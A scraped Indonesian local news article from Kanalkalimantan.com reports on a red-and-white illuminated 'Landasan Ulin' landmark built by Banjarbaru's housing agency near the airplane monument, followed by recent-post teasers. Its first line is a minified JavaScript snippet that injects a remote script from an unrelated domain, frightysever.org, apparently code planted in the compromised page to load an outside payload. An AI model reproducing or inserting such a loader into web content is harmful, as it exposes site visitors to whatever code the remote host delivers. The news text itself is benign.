(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Dibalik Berdirinya Landmark “Landasan Ulin” Dekat Bundaran Pesawat


KANALKALIMANTAN.COM, BANJARBARU – Landmark alias penanda bertulisan “Landasan Ulin” bercahaya merah putih menghiasi sekitar bundaran tugu pesawat Jalan A Yani Km 24,5 Landasan Ulin.
Landmark yang sangat jelas dilihat tersebut dibangun Dinas Perumahan dan Permukiman (Disperkim) Kota Banjarbaru melalui Bidang Pertamanan, Pemakaman, dan Penerangan Jalan Umum (P3JU).

Kabid P3JU Sartono mengatakan, landmark ini dibangun tujuannya untuk mengenalkan historis dari nama “Landasan Ulin” kepada masyarakat, terutama anak-anak muda yang tak familiar dengan makna kata tersebut.

“Mungkin anak-anak yang masih muda kurang familiar dengan nama Landasan Ulin, kalau Syamsudin Noor pasti orang kan pada tahu,” ucapnya, Kamis (14/7/2022)

“Dan kemungkinan banyak yang belum tahu, kalau asal usulnya Bandara Syamsudin Noor itu namanya Bandara Ulin, karena landasannya dari ulin. Jadi tujuan kita membangun landmark ini untuk mengingatkan histori kembali,” tambahnya.
Sartono menerangkan, warna tulisan landmark “Landasan Ulin” memang sengaja diilih warna merah dan putih. Karena, pemilihan kedua warna ini berdasarkan adanya tempat vital negara di sekitar kawasan tersebut.

 

Baca juga  : Kunjungi Warakawuri Kodim 1022/Tnb

“Kita menyesuaikan tempatnya, karena di sana ada banyak tempat vital negara, seperti komplek TNI AU dan Rindam, jadi kita coba untuk membangkitkan warna merah putih,” akunya.

Sementara itu, salah seorang warga Kelurahan Syamsudin Noor, Rahmat mengatakan sebelum dibangunnya landmark atau penanda “Landasan Ulin” di persimpangan jalan tersebut terkesan gelap tanpa penerangan.

Rahmat mengaku senang atas pembanguan landmark oleh Pemerintah Kota Banjarbaru. Kawasan bundaran tugu pesawat semakin cantik dan pencahayaan yang sebelumnya minim menjadi berkurang.

“Dulukan kurang penerangan, tapi sekarang setelah ada itu, kalau lewat sana malam hari sudah lebih terang dari sebelumnya,” tandasnya. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.